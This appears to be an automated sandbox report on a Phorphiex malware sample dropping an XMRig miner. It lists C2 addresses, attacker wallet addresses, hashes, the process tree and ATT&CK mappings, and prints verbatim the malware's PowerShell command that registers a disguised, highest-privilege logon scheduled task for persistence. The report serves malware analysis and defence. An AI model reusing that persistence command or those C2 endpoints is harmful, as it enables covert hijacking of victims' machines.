Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
156s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
29/11/2024, 03:31
Static task
static1
Behavioral task
behavioral1
Sample
757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe
Resource
win7-20240903-en
General
-
Target
757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe
-
Size
10KB
-
MD5
8ce09f13942ab5bcb81b175996c8385f
-
SHA1
6fa685d66ac5fff4e9d984dc1903c47a1a6b6cbd
-
SHA256
757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d
-
SHA512
11ae4651b3dd55355b2cb7bf2f6b042dea47bb895f898d967d63ee652652c633cc5becf31cb2fd7f8797b238b264195d09d4e08211b797eae29e2a7bb31b277f
-
SSDEEP
96:7L0paShFKPqYTdGLDad04DCcR+58DsrVJQsfuJxGEOaRh2qhRC7tCEMSI:72hBMGtkR+iDswsWJxTOchthyMB
Malware Config
Extracted
phorphiex
http://185.215.113.66/
http://91.202.233.141/
0xCa90599132C4D88907Bd8E046540284aa468a035
TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6
qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
XryzFMFVpDUvU7famUGf214EXD3xNUSmQf
rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9
AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z
LdgchXq1sKbAaAJ1EXAPSRBzLb8jnTZstT
MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q
4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK
15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC
1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK
ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp
3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc
3ESHude8zUHksQg1h6hHmzY79BS36L91Yn
DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA
t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh
stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj
bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2
bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr
bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd
GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3
bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
-
mutex
753f85d83d
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Extracted
phorphiex
http://185.215.113.84
http://185.215.113.66
185.215.113.66
Signatures
-
Phorphiex family
-
Phorphiex payload 1 IoCs
resource yara_rule behavioral1/files/0x0032000000015d90-8.dat family_phorphiex -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1668 created 1160 1668 3879313971.exe 21 PID 1668 created 1160 1668 3879313971.exe 21 PID 1284 created 1160 1284 winupsecvmgr.exe 21 PID 1284 created 1160 1284 winupsecvmgr.exe 21 PID 1284 created 1160 1284 winupsecvmgr.exe 21 -
Xmrig family
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/1284-91-0x000000013F920000-0x000000013FEB7000-memory.dmp xmrig behavioral1/memory/1284-94-0x000000013F920000-0x000000013FEB7000-memory.dmp xmrig behavioral1/memory/1980-98-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-100-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-102-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-104-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-106-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-108-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-111-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-113-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-115-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1980-117-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 10 IoCs
pid Process 2928 54212393.exe 2680 sysnldcvmr.exe 1732 24983453.exe 1444 750024033.exe 2832 2324911848.exe 1668 3879313971.exe 2376 2825032428.exe 1284 winupsecvmgr.exe 1692 606620749.exe 1992 3815514151.exe -
Loads dropped DLL 10 IoCs
pid Process 2684 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe 2684 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe 2680 sysnldcvmr.exe 2680 sysnldcvmr.exe 2680 sysnldcvmr.exe 1444 750024033.exe 2680 sysnldcvmr.exe 1700 taskeng.exe 2680 sysnldcvmr.exe 1692 606620749.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe" 54212393.exe -
pid Process 2268 powershell.exe 1952 powershell.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1284 set thread context of 2676 1284 winupsecvmgr.exe 57 PID 1284 set thread context of 1980 1284 winupsecvmgr.exe 59 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\sysnldcvmr.exe 54212393.exe File opened for modification C:\Windows\sysnldcvmr.exe 54212393.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sysnldcvmr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 750024033.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2324911848.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 606620749.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 54212393.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1932 schtasks.exe 832 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 1732 24983453.exe 1668 3879313971.exe 1668 3879313971.exe 2268 powershell.exe 1668 3879313971.exe 1668 3879313971.exe 1284 winupsecvmgr.exe 1284 winupsecvmgr.exe 1952 powershell.exe 1284 winupsecvmgr.exe 1284 winupsecvmgr.exe 1284 winupsecvmgr.exe 1284 winupsecvmgr.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1732 24983453.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeLockMemoryPrivilege 1980 dwm.exe Token: SeLockMemoryPrivilege 1980 dwm.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe 1980 dwm.exe -
Suspicious use of WriteProcessMemory 59 IoCs
description pid Process procid_target PID 2684 wrote to memory of 2928 2684 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe 30 PID 2684 wrote to memory of 2928 2684 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe 30 PID 2684 wrote to memory of 2928 2684 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe 30 PID 2684 wrote to memory of 2928 2684 757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe 30 PID 2928 wrote to memory of 2680 2928 54212393.exe 32 PID 2928 wrote to memory of 2680 2928 54212393.exe 32 PID 2928 wrote to memory of 2680 2928 54212393.exe 32 PID 2928 wrote to memory of 2680 2928 54212393.exe 32 PID 2680 wrote to memory of 1732 2680 sysnldcvmr.exe 34 PID 2680 wrote to memory of 1732 2680 sysnldcvmr.exe 34 PID 2680 wrote to memory of 1732 2680 sysnldcvmr.exe 34 PID 2680 wrote to memory of 1732 2680 sysnldcvmr.exe 34 PID 1732 wrote to memory of 2904 1732 24983453.exe 35 PID 1732 wrote to memory of 2904 1732 24983453.exe 35 PID 1732 wrote to memory of 2904 1732 24983453.exe 35 PID 1732 wrote to memory of 2196 1732 24983453.exe 37 PID 1732 wrote to memory of 2196 1732 24983453.exe 37 PID 1732 wrote to memory of 2196 1732 24983453.exe 37 PID 2904 wrote to memory of 2188 2904 cmd.exe 39 PID 2904 wrote to memory of 2188 2904 cmd.exe 39 PID 2904 wrote to memory of 2188 2904 cmd.exe 39 PID 2196 wrote to memory of 2160 2196 cmd.exe 40 PID 2196 wrote to memory of 2160 2196 cmd.exe 40 PID 2196 wrote to memory of 2160 2196 cmd.exe 40 PID 2680 wrote to memory of 1444 2680 sysnldcvmr.exe 41 PID 2680 wrote to memory of 1444 2680 sysnldcvmr.exe 41 PID 2680 wrote to memory of 1444 2680 sysnldcvmr.exe 41 PID 2680 wrote to memory of 1444 2680 sysnldcvmr.exe 41 PID 2680 wrote to memory of 2832 2680 sysnldcvmr.exe 43 PID 2680 wrote to memory of 2832 2680 sysnldcvmr.exe 43 PID 2680 wrote to memory of 2832 2680 sysnldcvmr.exe 43 PID 2680 wrote to memory of 2832 2680 sysnldcvmr.exe 43 PID 1444 wrote to memory of 1668 1444 750024033.exe 44 PID 1444 wrote to memory of 1668 1444 750024033.exe 44 PID 1444 wrote to memory of 1668 1444 750024033.exe 44 PID 1444 wrote to memory of 1668 1444 750024033.exe 44 PID 2268 wrote to memory of 1932 2268 powershell.exe 47 PID 2268 wrote to memory of 1932 2268 powershell.exe 47 PID 2268 wrote to memory of 1932 2268 powershell.exe 47 PID 2680 wrote to memory of 2376 2680 sysnldcvmr.exe 48 PID 2680 wrote to memory of 2376 2680 sysnldcvmr.exe 48 PID 2680 wrote to memory of 2376 2680 sysnldcvmr.exe 48 PID 2680 wrote to memory of 2376 2680 sysnldcvmr.exe 48 PID 1700 wrote to memory of 1284 1700 taskeng.exe 52 PID 1700 wrote to memory of 1284 1700 taskeng.exe 52 PID 1700 wrote to memory of 1284 1700 taskeng.exe 52 PID 1952 wrote to memory of 832 1952 powershell.exe 55 PID 1952 wrote to memory of 832 1952 powershell.exe 55 PID 1952 wrote to memory of 832 1952 powershell.exe 55 PID 2680 wrote to memory of 1692 2680 sysnldcvmr.exe 56 PID 2680 wrote to memory of 1692 2680 sysnldcvmr.exe 56 PID 2680 wrote to memory of 1692 2680 sysnldcvmr.exe 56 PID 2680 wrote to memory of 1692 2680 sysnldcvmr.exe 56 PID 1284 wrote to memory of 2676 1284 winupsecvmgr.exe 57 PID 1692 wrote to memory of 1992 1692 606620749.exe 58 PID 1692 wrote to memory of 1992 1692 606620749.exe 58 PID 1692 wrote to memory of 1992 1692 606620749.exe 58 PID 1692 wrote to memory of 1992 1692 606620749.exe 58 PID 1284 wrote to memory of 1980 1284 winupsecvmgr.exe 59 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1160
-
C:\Users\Admin\AppData\Local\Temp\757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe"C:\Users\Admin\AppData\Local\Temp\757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d.exe"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Users\Admin\AppData\Local\Temp\54212393.exeC:\Users\Admin\AppData\Local\Temp\54212393.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\sysnldcvmr.exeC:\Windows\sysnldcvmr.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Users\Admin\AppData\Local\Temp\24983453.exeC:\Users\Admin\AppData\Local\Temp\24983453.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f6⤵
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f7⤵PID:2188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"6⤵
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"7⤵PID:2160
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\750024033.exeC:\Users\Admin\AppData\Local\Temp\750024033.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Users\Admin\AppData\Local\Temp\3879313971.exeC:\Users\Admin\AppData\Local\Temp\3879313971.exe6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1668
-
-
-
C:\Users\Admin\AppData\Local\Temp\2324911848.exeC:\Users\Admin\AppData\Local\Temp\2324911848.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2832
-
-
C:\Users\Admin\AppData\Local\Temp\2825032428.exeC:\Users\Admin\AppData\Local\Temp\2825032428.exe5⤵
- Executes dropped EXE
PID:2376
-
-
C:\Users\Admin\AppData\Local\Temp\606620749.exeC:\Users\Admin\AppData\Local\Temp\606620749.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Users\Admin\AppData\Local\Temp\3815514151.exeC:\Users\Admin\AppData\Local\Temp\3815514151.exe6⤵
- Executes dropped EXE
PID:1992
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1932
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵PID:1060
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:832
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:2676
-
-
C:\Windows\System32\dwm.exeC:\Windows\System32\dwm.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1980
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {4210E998-A183-49F3-BE14-1E3E536D5FFC} S-1-5-21-3063565911-2056067323-3330884624-1000:KHBTHJFA\Admin:Interactive:[1]1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1284
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
79KB
MD50c883b1d66afce606d9830f48d69d74b
SHA1fe431fe73a4749722496f19b3b3ca0b629b50131
SHA256d921fc993574c8be76553bcf4296d2851e48ee39b958205e69bdfd7cf661d2b1
SHA512c047452a23efad4262479fbfeb5e23f9497d7cefd4cbb58e869801206669c2a0759698c70d18050316798d5d939b989537fdce3842aa742449f5e08ed7fa60a5
-
Filesize
11KB
MD583a784716728ca579619d0e13a9f17b0
SHA15e33ca9dab3c0df2edcd597b8b0da06c88f18f6b
SHA2569dc0b007f33f768fff2249388428981d89cfcee3e5babd206bbaeb7d5cc34b4f
SHA512f8218a8e977f0ec340e7139041cfff8bac4cc23bcea0c0c0d7717ead76093d45d10acd72a5846486e9348ce642f529824f1575d0d28b8d2f566c543c7c9d3bc4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IDWJDE0JES09D5TF0LKU.temp
Filesize7KB
MD5ac298756b68d3d95f41fae4f1480477b
SHA10e099677bb54d1b89531b5bdf5cecfc0d637df0b
SHA256f6e4f14db71918eb5d056884d98d36edf75725e6b87923d221b608bad7da9db8
SHA51258391a13a0a68fd07d181a186eb6c2d72c298656e0d2fd71dbe98627e5da824fbd2f4f553ed6c8e6ca803232c27395728e2bc3afcc3d520e049e07f52a9513b2
-
Filesize
8KB
MD566ca91a3e8d4f9714b4bafacdae69acb
SHA1e4582bbc4c220a5cdd8e7d18622c4bd5614d1bfa
SHA2561377b8f0963af037caa6afda723945d55971b2fefaee6eb5993bbbcb91bc3f8d
SHA512a2df2f2dd67b034606892257bf05ba0517f7d24b21f2c9561b08cae17e2e9a52216f8bf79ca6ecae7f0b6675310c3c5ac5764b1cc0031404f09203b01662d0ef
-
Filesize
8KB
MD5cb8420e681f68db1bad5ed24e7b22114
SHA1416fc65d538d3622f5ca71c667a11df88a927c31
SHA2565850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea
SHA512baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf
-
Filesize
53KB
MD5b92ad7e3c510355dd54db74cdf4d522e
SHA1bf4e93257363aa26d02a2cafd1805566923b7ef4
SHA25642a3d89601affbf702b44e56746f2ff19308848e49ba0fae86202345ab19c95f
SHA5121462ebf284a4d20900aec239449693e5d5c73cfd1283d8a4aedc293f82b0b7ee3bc66aa3fdd916377c2e00f64212ce71e455fddd3b960c9de1c88b3886ddc388
-
Filesize
20KB
MD52473392c0a773aad20da1519aa6f464b
SHA12068ffd843bb8c7c7749193f6d1c5f0a9b97b280
SHA2563d33e8778ea8194d486d42784411e8528c602594abdf3e32cdcee521a10f3ce7
SHA5125455866f5fc53ae48ff24222b40a264bf673102435abeac2a61ba6fcaa1de429d8f078d4d065cb5d77b96de87f343579651b718e0a60934fb9fa35818d948074
-
Filesize
5.6MB
MD513b26b2c7048a92d6a843c1302618fad
SHA189c2dfc01ac12ef2704c7669844ec69f1700c1ca
SHA2561753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256
SHA512d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455
-
Filesize
10KB
MD596509ab828867d81c1693b614b22f41d
SHA1c5f82005dbda43cedd86708cc5fc3635a781a67e
SHA256a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744
SHA512ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca